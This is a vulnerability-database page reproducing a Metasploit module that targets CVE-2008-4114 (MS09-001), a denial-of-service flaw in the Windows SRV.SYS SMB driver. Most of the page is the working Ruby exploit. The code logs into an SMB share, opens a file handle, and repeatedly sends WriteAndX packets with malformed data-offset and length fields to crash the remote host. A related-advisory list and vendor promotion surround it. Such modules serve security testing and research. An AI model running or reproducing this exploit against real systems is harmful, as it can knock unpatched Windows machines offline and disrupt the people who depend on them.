Lucene search
+L

Microsoft SRV.SYS WriteAndX Invalid DataOffset

🗓️ 08 Mar 2009 08:09:40Reported by j.v.vallejo <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

Microsoft SRV.SYS WriteAndX Invalid DataOffset denial of service vulnerability in Windows SRV.SYS driver tested against Windows Vista

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-4114
15 Sep 200800:00
circl
Check Point Advisories
Microsoft Windows WRITE_ANDX SMB Processing Denial of Service (CVE-2008-4114)
29 Jan 200900:00
checkpoint_advisories
CVE
CVE-2008-4114
16 Sep 200823:00
cve
Cvelist
CVE-2008-4114
16 Sep 200823:00
cvelist
NVD
CVE-2008-4114
16 Sep 200823:00
nvd
OpenVAS
Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
14 Jan 200900:00
openvas
OpenVAS
Microsoft SMB Multiple RCE Vulnerabilities (958687) - Active Check
18 Mar 201000:00
openvas
OpenVAS
Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
14 Jan 200900:00
openvas
Packet Storm
Microsoft SRV.SYS WriteAndX Invalid DataOffset
31 Aug 202400:00
packetstorm
Prion
Denial of service
16 Sep 200823:00
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset',
      'Description'    => %q{
          This module exploits a denial of service vulnerability in the
        SRV.SYS driver of the Windows operating system.

        This module has been tested successfully against Windows Vista.
      },

      'Author'         => [ 'j.v.vallejo[at]gmail.com' ],
      'License'        => MSF_LICENSE,
      'References' =>
        [
          ['MSB', 'MS09-001'],
          ['OSVDB', '48153'],
          ['CVE', '2008-4114'],
          ['BID', '31179'],
        ]
      )
    )

    deregister_options('SMB::ProtocolVersion')
  end


  def send_smb_pkt(dlenlow, doffset,fillersize)

    connect(versions: [1])
    smb_login()

    pkt = CONST::SMB_CREATE_PKT.make_struct
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0xc807

    pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
    pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
    pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
    pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX

    pkt['Payload']['SMB'].v['WordCount'] = 24

    pkt['Payload'].v['AndX'] = 255
    pkt['Payload'].v['AndXOffset'] = 0xdede
    pkt['Payload'].v['FileNameLen'] = 14
    pkt['Payload'].v['CreateFlags'] = 0x16
    pkt['Payload'].v['AccessMask'] = 0x2019f  # Maximum Allowed
    pkt['Payload'].v['ShareAccess'] = 7
    pkt['Payload'].v['CreateOptions'] = 0x400040
    pkt['Payload'].v['Impersonation'] = 2
    pkt['Payload'].v['Disposition'] = 1
    pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"


    simple.client.smb_send(pkt.to_s)
    ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)

    pkt = CONST::SMB_WRITE_PKT.make_struct
    data_offset = pkt.to_s.length - 4
    filler = Rex::Text.rand_text(fillersize)

    pkt['Payload']['SMB'].v['Signature1']=0xcccccccc
    pkt['Payload']['SMB'].v['Signature2']=0xcccccccc
    pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
    pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
    pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
    pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0xc807
    pkt['Payload']['SMB'].v['WordCount'] = 14
    pkt['Payload'].v['AndX'] = 255
    pkt['Payload'].v['AndXOffset'] = 0xdede
    pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
    pkt['Payload'].v['Offset'] = 0
    pkt['Payload'].v['Reserved2'] = -1
    pkt['Payload'].v['WriteMode'] = 8
    pkt['Payload'].v['Remaining'] = fillersize
    pkt['Payload'].v['DataLenHigh'] = 0
    pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
    pkt['Payload'].v['DataOffset'] = doffset #<====
    pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
    pkt['Payload'].v['ByteCount'] = fillersize #<====
    pkt['Payload'].v['Payload'] = filler

    simple.client.smb_send(pkt.to_s)
  end

  def run

    print_line("Attempting to crash the remote host...")
    k=72
    j=0xffff
    while j>10000
      i=0xffff
      while i>10000
        begin
          print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
          send_smb_pkt(i,j,k)
        rescue
          print_line("rescue")
        end
        i=i-10000
      end
      j=j-10000
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2020 12:18Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.1
EPSS0.49275
35